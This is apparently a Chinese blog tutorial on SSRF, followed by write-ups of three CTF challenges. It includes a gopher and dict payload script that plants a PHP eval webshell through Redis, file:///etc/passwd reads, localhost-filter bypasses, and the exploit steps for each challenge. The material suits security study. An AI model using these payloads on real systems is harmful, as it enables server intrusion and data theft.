Last updated on September 27, 2024 am
SSRF基础
SSRF,Server-Side Request Forgery,服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求 的一个漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。
漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作过滤和限制。
攻击者可以利用 SSRF 实现的攻击主要有 5 种:
1 2 3 4 5 1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息 2.攻击运行在内网或本地的应用程序(比如溢出) 3.对内网 WEB 应用进行指纹识别,通过访问默认文件实现 4.攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等) 5.利用 file 协议读取本地文件等
SSRF 漏洞出现的场景
1 2 3 4 5 1. 能够对外发起网络请求的地方,就可能存在 SSRF 漏洞2. 从远程服务器请求资源(Upload from URL ,Import & Export RSS Feed )3. 数据库内置功能(Oracle 、MongoDB 、MSSQL 、Postgres 、CouchDB )4. Webmail 收取其他邮箱邮件(POP3 、IMAP 、SMTP )5. 文件处理、编码处理、属性信息处理(ffmpeg 、ImageMagic 、DOCX 、PDF 、XML )
SSRF漏洞测试
可以对参数名或者参数值有关键字(url,http)等的地方进行测试
通过DNS平台接受解析请求来判断SSRF漏洞有没有发出请求,通过对可能存在漏洞的位置请求指定的域名,看是否接收到请求
例如
1 ?url=http://i hvb07.dnslog.cn/
也可自己服务器监听端口,然后向自己服务器发送请求
1 2 nc -lvp 81 ?url=http://i p:port/
常见协议利用
利用不安全的输入解析,攻击者可能通过在URL中注入不同的协议头来触发SSRF
1.http协议
使用curl,在靶机上向自己的服务器发送请求,同时带出靶机中的信息
2.Gopher 协议
是一个可以发送自定义TCP数据的协议。
1 gopher:// host:8080 /gopher
用gopher构造http 请求的模板脚本(可以构造post请求)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import urllib.parse host = "127.0.0.1:80" cookie = "this_is_your_cookie=YWRtaW4nKSBhbmQgaWYoMSxzbGVlcCg1KSwxKSM=" test = \ """GET /index.php HTTP/1.1 Host: {} User-Agent: curl/7.43.0 Accept: */* Content-Type: application/x-www-form-urlencoded Cookie: {} """ .format (host, cookie) tmp = urllib.parse.quote(test) new = tmp.replace("%0A" , "%0D%0A" ) result = urllib.parse.quote(new)print ("gopher://" + host + "/_" + result)
127.0.0.1可以用0.0.0.0代替,0.0.0.0指向本机上的所有IP地址
RESP 协议是 redis 服务之间数据传输的通信协议,redis 客户端和 redis 服务端之间通信会采取 RESP 协议
用gopher构造redis的脚本(转化为redis RESP协议的格式写shell)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import urllib.requestfrom urllib.parse import quote url = "http://122.114.254.128:28005" gopher = "gopher://127.0.0.1:6379/_" data = """ auth shell set test "\\n\\n<?php @eval($_POST[cmd])?>\\n\\n" config set dir /var/www/html/ config set dbfilename shell.php save quit """ def encoder_url (data ): encoder = "" for single_char in data: encoder += str (hex (ord (single_char))) encoder = encoder.replace("0x" ,"%" ).replace("%a" ,"%0d%0a" ) return encoder encoder = encoder_url(encoder_url(data))print (encoder)
3.Dict 协议
一般用于探测端口的指纹信息,做端口扫描
1 dict: //<host>:<port>/info
适用于攻击那些支持单行命令的应用,如Redis
1 2 3 4 5 dict:// 127.0 .0.1 :6379 /flushall dict:// 127.0 .0.1 :6379 /config set dir var/ www/html/ dict:// 127.0 .0.1 :6379 /set shell "\x3c\x3f\x70\x68\x70\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x63\x6d\x64\x27\x5d\x29\x3b\x3f\x3e" dict:// 127.0 .0.1 :6379 /config set dbfilename shell.php dict:// 127.0 .0.1 :6379 /save
4.file 协议
一般用于读取本地文件
使用绝对路径,适用于已知文件路径的
用curl请求则是
一道题目:https://github.com/teambi0s/InCTFi/tree/master/2021/Web/RAAS
https://ctf.zeyu2001.com/2021/inctf-2021/raas#challenge
常用的后端实现
1.file_get_contents
1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_POST ['url' ])) { $content = file_get_contents ($_POST ['url' ]); $filename ='./images/' .rand ().';img1.jpg' ; file_put_contents ($filename , $content ); echo $_POST ['url' ]; $img = "<img src=\"" .$filename ."\"/>" ; }echo $img ;?>
这段代码使用 file_get_contents
函数从用户指定的 URL 获取图片。然后把它用一个随机文件名保存在硬盘上,并展示给用户。
2.fsockopen()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php function GetFile ($host ,$port ,$link ) { $fp = fsockopen ($host , intval ($port ), $errno , $errstr , 30 ); if (!$fp ) { echo "$errstr (error number $errno ) \n" ; } else { $out = "GET $link HTTP/1.1\r\n" ; $out .= "Host: $host \r\n" ; $out .= "Connection: Close\r\n\r\n" ; $out .= "\r\n" ; fwrite ($fp , $out ); $contents ='' ; while (!feof ($fp )) { $contents .= fgets ($fp , 1024 ); } fclose ($fp ); return $contents ; } }?>
这段代码使用 fsockopen
函数实现获取用户指定 URL 的数据(文件或者 HTML)。这个函数会使用 socket 跟服务器建立 TCP 连接,传输原始数据。
3.curl_exec()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php if (isset ($_POST ['url' ])) { $link = $_POST ['url' ]; $curlobj = curl_init (); curl_setopt ($curlobj , CURLOPT_POST, 0 ); curl_setopt ($curlobj ,CURLOPT_URL,$link ); curl_setopt ($curlobj , CURLOPT_RETURNTRANSFER, 1 ); $result =curl_exec ($curlobj ); curl_close ($curlobj ); $filename = './curled/' .rand ().'.txt' ; file_put_contents ($filename , $result ); echo $result ; }?>
使用 curl
获取数据。
常见端口
1 2 3 4 web 服务端口:80 8080 Redis 端口:6379 Mysql 端口:3306 PPH -FPM FastCGI端口:9000
bypass
过滤localhost
或127.0.0.1
302跳转
在vps上创建302.php
1 2 3 4 5 6 7 8 9 <?php header ("Location:file:///etc/passwd" );?> <?php header ("Location:dict://127.0.0.1:6379/info" );?> <?php header ("Location:gopher://127.0.0.1:6666/info" );?>
特殊数字绕过
http://1②7.0.0.1/flag.php
。
代替.
绕过
1 http ://127 。0 。0 。1 /flag.php
稀有地址绕过
在windows中,0代表0.0.0.0
,而在linux下,0代表127.0.0.1
1 2 http:// 0 /flag.php http:// 127.1 /flag.php
cidr绕过
1 http:// 127.127 .127.127 /flag.php
进制转换
1 2 3 http ://0177 .0 .0 .1 /flag.php //八进制http ://0 x7f.0 .0 .1 /flag.php //十六进制http ://2130706433 /flag.php //十进制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php $ip = '127.0.0.1' ;$ip = explode ('.' ,$ip );$r = ($ip [0 ] << 24 ) | ($ip [1 ] << 16 ) | ($ip [2 ] << 8 ) | $ip [3 ] ;if ($r < 0 ) {$r += 4294967296 ; }echo "十进制:" ;echo $r ;echo "八进制:" ;echo decoct ($r );echo "十六进制:" ;echo dechex ($r );?>
域名解析绕过
指向127.0.0.1的域名
1 2 3 4 http:// safe.taobao.com/ http:// wifi.aliyun.com/ http:// ecd.tencent.com/ http:// sudo.cc/
自行生成域名
https://lock.cmpxchg8b.com/rebinder.html
http://ceye.io/ 获得的url后要加上r.
,例如http://r.ymugbk.ceye.io/
限制开头
@绕过
1 http: //xxx@127 .0 .0 .1 /flag.php
限制结尾
参数绕过
1 http:// 127.0 .0.1 /flag.php?xxx
SSRF解题步骤
1.找到敏感接口,验证SSFR是否存在
2.尝试用file://协议读取/etc/hosts
,根据IP确定目标的内网IP段
3.通过HTTP等协议扫描内网在线主机及端口,确定内网内存活的目标IP以及相应的端口。
4.构造请求,针对性地攻击服务。
[NISACTF 2022]easyssrf
根据题目已经知道是ssrf
这里给了一个访问网站的快照
应该就是通过这里访问本地
尝试一下file协议:file:///etc/passwd ,提示其他路径
尝试直接读取flag
接着访问/fl4g
访问ha1x1ux1u.php,这个要在url中直接访问
1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file (__FILE__ );error_reporting (0 );$file = $_GET ["file" ];if (stristr ($file , "file" )){ die ("你败了." ); }echo file_get_contents ($file );
看到file_get_contents
明显可以使用伪协议
因此传参?file=php://filter/read=convert.base64-encode/resource=/flag
,再进行base64解码得到
NSSCTF{67d04802-4a49-4cf9-810e-20542dded546}
[HNCTF 2022 WEEK2]ez_ssrf
打开题目,拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php highlight_file (__FILE__ );error_reporting (0 );$data =base64_decode ($_GET ['data' ]);$host =$_GET ['host' ];$port =$_GET ['port' ];$fp =fsockopen ($host ,intval ($port ),$error ,$errstr ,30 );if (!$fp ) { die (); }else { fwrite ($fp ,$data ); while (!feof ($data )) { echo fgets ($fp ,128 ); } fclose ($fp ); }
可以看到属于使用fsockopen的ssrf
fsockopen的后端实现方式如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php function GetFile ($host ,$port ,$link ) { $fp = fsockopen ($host , intval ($port ), $errno , $errstr , 30 ); if (!$fp ) { echo "$errstr (error number $errno ) \n" ; } else { $out = "GET $link HTTP/1.1\r\n" ; $out .= "Host: $host \r\n" ; $out .= "Connection: Close\r\n\r\n" ; $out .= "\r\n" ; fwrite ($fp , $out ); $contents ='' ; while (!feof ($fp )) { $contents .= fgets ($fp , 1024 ); } fclose ($fp ); return $contents ; } }?>
对比一下可以看到上面的data其实就相当于下面的out,因此构造poc
1 2 3 4 5 6 7 8 $out ="GET /flag.php HTTP/1.1\r\n" ;$out .="Host: 127.0.0.1\r\n" ;$out .= "Connection: Close\r\n\r\n" ;$out .= "\r\n" ; echo base64_encode ($out );
接着传参?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQoNCg==
[De1ctf 2019]SSRF Me
打开得到的是混乱的源码,手动整理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 from imp import reloadfrom flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport json reload(sys) sys.setdefaultencoding('latin1' ) app = Flask(__name__) secert_key = os.urandom(16 )class Task : def __init__ (self, action, param, sign, ip ): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if (not os.path.exists(self.sandbox)): os.mkdir(self.sandbox) def Exec (self ): result = {} result['code' ] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open ("./%s/result.txt" % self.sandbox, 'w' ) resp = scan(self.param) if (resp == "Connection Timeout" ): result['data' ] = resp else : print (resp) tmpfile.write(resp) tmpfile.close() result['code' ] = 200 if "read" in self.action: f = open ("./%s/result.txt" % self.sandbox, 'r' ) result['code' ] = 200 result['data' ] = f.read() if result['code' ] == 500 : result['data' ] = "Action Error" else : result['code' ] = 500 result['msg' ] = "Sign Error" return result def checkSign (self ): if (getSign(self.action, self.param) == self.sign): return True else : return False @app.route("/geneSign" , methods=['GET' , 'POST' ] ) def geneSign (): param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param)@app.route('/De1ta' , methods=['GET' , 'POST' ] ) def challenge (): action = urllib.unquote(request.cookies.get("action" )) param = urllib.unquote(request.args.get("param" , "" )) sign = urllib.unquote(request.cookies.get("sign" )) ip = request.remote_addr if (waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec())@app.route('/' ) def index (self ): return open ("code.txt" , "r" ).read()def scan (param ): socket.setdefaulttimeout(1 ) try : return urllib.urlopen(param).read()[:50 ] except : return "Connection Timeout" def getSign (action, param ): return hashlib.md5(secert_key + param + action).hexdigest()def md5 (content ): return hashlib.md5(content).hexdigest()def waf (param ): check = param.strip().lower() if check.startswith("gopher" ) or check.startswith("file" ): return True else : return False if __name__ == '__main__' : app.debug = False app.run(host='0.0.0.0' , port=80 )
看到有三个路由
1 2 3 4 5 @app.route("/geneSign" , methods=['GET' , 'POST' ] ) @app.route('/De1ta' , methods=['GET' , 'POST' ] ) @app.route('/' )
1 2 3 4 5 6 7 8 9 10 @app.route('/De1ta' , methods=['GET' , 'POST' ] ) def challenge (): action = urllib.unquote(request.cookies.get("action" )) param = urllib.unquote(request.args.get("param" , "" )) sign = urllib.unquote(request.cookies.get("sign" )) ip = request.remote_addr if (waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec())
在/De1ta
路径下,param要经过waf()
1 2 3 4 5 6 7 def waf (param ): check = param.strip().lower() if check.startswith("gopher" ) or check.startswith("file" ): return True else : return False
param参数中不能含有gopher和file
接着看到Task类的Exec()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 def Exec (self ): result = {} result['code' ] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open ("./%s/result.txt" % self.sandbox, 'w' ) resp = scan(self.param) if (resp == "Connection Timeout" ): result['data' ] = resp else : print (resp) tmpfile.write(resp) tmpfile.close() result['code' ] = 200 if "read" in self.action: f = open ("./%s/result.txt" % self.sandbox, 'r' ) result['code' ] = 200 result['data' ] = f.read() if result['code' ] == 500 : result['data' ] = "Action Error" else : result['code' ] = 500 result['msg' ] = "Sign Error" return result
首先要通过checkSign()
1 2 3 4 5 def checkSign (self ): if (getSign(self.action, self.param) == self.sign): return True else : return False
调用了getSign(),跟进去
1 2 def getSign (action, param ): return hashlib.md5(secert_key + param + action).hexdigest()
secert_key + param + action的md5要等于传进去的sign
action 必须要含有 scan和read
含有scan 则可以读出param文件中的内容然后写进临时文件中,因此param传参flag.txt
含有read则可以打开临时文件并将文件内容读取出来返回
在/geneSign
路径下的geneSign()函数可以自动利用密钥产生签名
1 2 3 4 5 @app.route("/geneSign" , methods=['GET' , 'POST' ] ) def geneSign (): param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param)
因此在/genesign路径下传参?param=flag.txtread
得到签名3cc2121e7470ced190ff9c4d8be57d1b
,这样一来得到secert_keyflag.txtreadscan的md5,
回到/De1ta路径下,Task类中,
action传参readscan
参考资料
https://ctf-wiki.org/web/ssrf/?h=ssrf
https://tttang.com/archive/1648/#toc_dict